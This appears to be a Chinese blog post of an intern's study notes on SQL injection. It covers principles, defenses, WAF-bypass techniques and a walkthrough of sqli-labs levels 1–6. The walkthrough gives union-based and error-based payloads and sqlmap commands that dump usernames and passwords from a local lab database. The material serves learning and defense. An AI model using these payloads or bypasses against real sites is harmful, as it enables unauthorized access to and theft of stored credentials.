实习Day5

一、SQL注入

        1.SQL注入原理

        SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

        简而言之,SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。

        SQL 注入的原理主要有以下 4 点:

1)恶意拼接查询

        SQL 语句可以查询、插入、更新和删除数据,且使用分号来分隔不同的命令。例如:

SELECT * FROM users WHERE user_id = $user_id

        其中,user_id 是传入的参数,如果传入的参数值为“1234; DELETE FROM users”,那么最终的查询语句会变为:

SELECT * FROM users WHERE user_id = 1234; DELETE FROM users

        如果以上语句执行,则会删除 users 表中的所有数据。

2)利用注释执行非法命令

        SQL 语句中可以插入注释。例如:

SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version=$version

        如果 version 包含了恶意的字符串'-1' OR 3 AND SLEEP(500)--,那么最终查询语句会变为:

SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version='-1' OR 3 AND SLEEP(500)--

        以上恶意查询只是想耗尽系统资源,SLEEP(500) 将导致 SQL 语句一直运行。如果其中添加了修改、删除数据的恶意指令,那么将会造成更大的破坏。

3)传入非法参数

        SQL 语句中传入的字符串参数是用单引号引起来的,如果字符串本身包含单引号而没有被处理,那么可能会篡改原本 SQL 语句的作用。 例如:

SELECT * FROM user_name WHERE user_name = $user_name

        如果 user_name 传入参数值为 G'chen,那么最终的查询语句会变为:

SELECT * FROM user_name WHERE user_name ='G'chen'

        一般情况下,以上语句会执行出错,这样的语句风险比较小。虽然没有语法错误,但可能会恶意产生 SQL 语句,并且以一种你不期望的方式运行。

4)添加额外条件

        在 SQL 语句中添加一些额外条件,以此来改变执行行为。条件一般为真值表达式。例如:

UPDATE users SET userpass='$userpass' WHERE user_id=$user_id;

        如果 user_id 被传入恶意的字符串“1234 OR TRUE”,那么最终的 SQL 语句会变为:

UPDATE users SET userpass= '123456' WHERE user_id=1234 OR TRUE;

        这将更改所有用户的密码。

        2.SQL注入常用函数及含义

version()                       Mysql版本
user()                          数据库用户名
database()                      数据库名
system_user()                   数据库用户名
session_user()                  连接数据库的用户名
current_user()                  当前用户名
load_file()                     读取本地文件
@@datadir                       读取数据库路径
@@basedir                       mysql安装路径
@@version_complie_os            查看操作系统版本
 
information_schema              自带数据库
information_schema.schemata     数据库
information_schema.tables       数据表
information_schema.columns      数据列
floor()                         返回小于等于该值的最大整数
RAND()                          在0和1之间产生一个随机数
join()                          实现表的连接
length(str) : 返回给定字符串的长度,如 length("string")=6
​
substr()、stbstring()、mid() :三个函数的用法、功能均一致
​
concat(username):将查询到的username连在一起,默认用逗号分隔
​
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
​
group_concat(username) :将username所有数据查询在一起,用逗号连接
​
limit 0,1:查询第1个数 limit 1,1:查询第2个数
 
order by 4          -- 判断有多少列
​
union select 1,2,3  -- 判断数据显示点
​
union select 1,user(),database()      -- 显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3   -- 查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3                -- 查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3                              -- 查看账号密码信息

        3.SQL注入防御手段

1)使用预编译语句和参数化查询

        预编译语句:通过预编译SQL语句,确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构,从而避免注入攻击。在Java中,可以使用PreparedStatement来实现参数化查询。

        参数化查询:在编写SQL语句时,使用参数占位符(如?)代替直接的变量拼接,向数据库传递参数时只传递参数的值,而不涉及SQL语句结构的改变。

2)验证和过滤用户输入

        输入验证:对所有用户输入进行严格的验证,拒绝不符合预期格式的输入。可以使用正则表达式、字符串替换等方法,去除或转义潜在的危险字符,如单引号、双引号等。

        输入过滤:在服务器端对用户输入进行过滤,过滤掉潜在的恶意代码和SQL片段,确保输入数据的安全性。

3)限制数据库权限

        为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。这样可以降低注入攻击的风险,即使发生注入攻击,攻击者能做的也非常有限。

4)使用存储过程

        存储过程可以像预编译语句一样防止SQL注入,因为它们也使用参数化查询。在数据库中定义存储过程,并在应用程序中调用这些存储过程,可以减少SQL注入的风险。

5)使用ORM工具

        许多现代编程框架提供了ORM(对象关系映射)工具,这些工具可以自动进行参数化查询,从而降低直接编写SQL语句的风险。ORM工具可以将数据库表映射为对象,通过操作对象来间接操作数据库,减少了SQL语句的编写和直接拼接的风险。

6)安全的数据库连接

        确保数据库连接的安全,使用加密的数据库连接字符串,避免在连接字符串中泄露敏感信息,如数据库用户名和密码。

7)定期更新和打补丁

        保持数据库管理系统(DBMS)和应用程序更新到最新版本,及时修补已知的安全漏洞。定期更新可以防止攻击者利用已知漏洞进行攻击。

8) 使用Web应用防火墙(WAF)

        WAF可以帮助识别和阻挡SQL注入攻击等类型的攻击。WAF部署在Web服务器之前,可以检查所有进入Web服务器的流量,并识别潜在的恶意请求。

9)定期进行安全审计和代码审查

        定期进行安全审计和代码审查,检查潜在的安全漏洞,及时修复。这可以确保应用程序和数据库的安全性得到持续保障。

10)加密敏感数据

        对敏感数据进行加密存储和传输,防止数据在泄露后被恶意利用。可以使用对称加密、非对称加密或不可逆加密等方法来保护数据的安全性。

        4.SQL注入常用绕过waf的方法

1)注释符号绕过

        利用SQL注释符号(如--、/**/、#)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。例如,在SQL查询中插入注释符号来注释掉WAF可能拦截的关键词或字符。

2)编码绕过

        通过URL编码、Unicode编码或其他编码方式来隐藏恶意SQL代码。例如,将admin编码为%61%64%6D%69%6E,或使用其他字符编码形式绕过WAF的检测。

3)大小写变换绕过

        利用数据库系统对SQL关键字大小写不敏感的特性,将SQL关键字的大小写进行变换,以绕过基于大小写的过滤器。例如,将SELECT改写为SeLeCt。

4)特殊字符和逻辑漏洞绕过

        特殊字符绕过:使用引号、特殊符号等构造恶意SQL代码,绕过WAF的检测。

        逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,如盲注技术,结合SQL语句的特定逻辑结构绕过WAF的检测。

5)替代字符和函数

        替代字符:当WAF拦截了某些关键字符(如UNION、SELECT等)时,可以使用替代字符(如uNIoN、sel<>ect等)绕过。

        替代函数:当常用函数被WAF拦截时,可以使用功能相同的其他函数进行替代。例如,使用mid()函数代替substr()函数。

6)内联注释和空格绕过

        内联注释:利用MySQL的内联注释特性(如/*!50001 SELECT * FROM users */),在特定数据库版本下执行被WAF拦截的SQL语句。

        空格绕过:使用URL编码(如%20)或其他字符(如+、%09、%0a等)替换空格,绕过WAF对空格的过滤。

7)分块传输和协议特性

        分块传输:利用HTTP协议的分块传输编码机制,将恶意SQL语句分割成多个部分进行传输,绕过WAF的检测。

        协议特性:利用HTTP协议的某些特性(如Connection字段的keep-alive值),通过发送大量数据或特定格式的数据包来绕过WAF的检测。

8)二阶注入

        利用已存储(在数据库或文件中)的用户输入被读取后再次进入SQL查询语句的特性,实现二阶SQL注入。这种方法通常涉及到应用程序的多个处理步骤和HTTP请求/响应周期。

二、sqli-labs靶场(第1~5关-手工注入)

        第一关

1.注入点测试

?id=1

?id=1'

?id=1'--+

        判断是字符型注入,闭合方式是' 

2.查询字段数

        如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+
?id=1'order by 4 --+

        字段的个数是3 
3.判断回显位

?id=-1' union select 1,2,3 --+

         第2,3个位置可以回显查询数据
4.查询数据库的基本信息

?id=-1' union select 1,database(),user() --+

 5.获取数据库表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+


6.获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'  and table_name='users' --+


7.获取用户名密码

?id=-1' union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users --+

        第二关

1.判断注入类型

?id=1 and 1=1
?id=1 and 1=2

         判断为数字型注入

2.查询字段数

?id=1 order by 3
?id=1 order by 4

        字段数为3。

3.注入

?id=-1 union select 1,2,3 
?id=-1 union select 1,database(),user() 
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users 

        第三关

1.判断注入点类型

 ?id=1'

        报错,判断为字符型注入,闭合方式为 ')

2.注入

?id=1') order by 3--+
?id=-1') union select 1,2,3--+ 
?id=-1') union select 1,database(),user()--+ 
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+ 

        第四关

1.判断注入点类型

?id=1'

?id=1"

         报语法错误。判断是字符型注入,闭合方式是")

2.注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+ 
?id=-1") union select 1,database(),user()--+ 
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+ 

        第五关

?id=1

        发现没有回显,即使调整了id的值,并没有产生回显点,判断闭合方式为单引号闭合。采用报错注入。

2.获取数据库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

3.获取表名 

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4.获取字段名 

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

5.获取用户名密码 

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

三、SQLi的手工注入的步骤

判断有无注入点

        方法:首先确定目标页面可能存在的注入点,例如URL,搜索栏,登录注册界面等可能会提交sql语句到数据库的地方。再通过输入特殊字符(如单引号'、双引号"、注释符--等),观察应用程序的响应。若页面响应sql语言的语法错误,则可能存在注入点。

        示例:

http://127.0.0.1/html/?id=1'

判断字段数量

        方法:在注⼊点后⾯添加语句 order by int ,int的值可以是任意数字,但是⼀个数据表的字段数量通常不超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显。

        示例:

order by 2--+

判断字段前端回显位置

        方法:在链接后⾯添加语句union select 1,2,3,4,5,6,7,8,9,10--+进⾏联合查询来暴露可查询的字段号,看哪些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤

        示例:

union SELECT 1,database(),version(),7,8,9--+

 判断数据库信息

        方法:利⽤内置函数暴数据库信息 version() -- 版本;database() -- 数据库;user() -- ⽤户;这些函数可以帮助了解数据库内数据的信息

        示例:

union select 1,user(),3 --+

查找数据库名、表名、列(属性)名

        方法: 

                库名:information_schema        

                表名:information_schema.tables       

                列名:information_schema.columns

        示例:          

union select information_schema from information_schema.schemata

union select group_concat(table_name) from information_schema.tables wheretable_schema=database()--+

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='biaoming'),3,4#

获取敏感数据

        方法:获得了表名和列名后,使用查询语句获取敏感信息(账号,密码等)

        示例:

union select 1, username, password from users limit 0,1

四、sqli-labs靶场(第6关-使用sqlmap)

1.查找注入点

 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --batch

2.获取数据库 

 

 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --batch --dbs

3.获取表名 

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security --tables

4.获取users列名

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security -T users --column

5.获取users表中数据 

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --dbms mysql --technique E -o -D security -T users -C username,password --dump --batch

  • 9
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值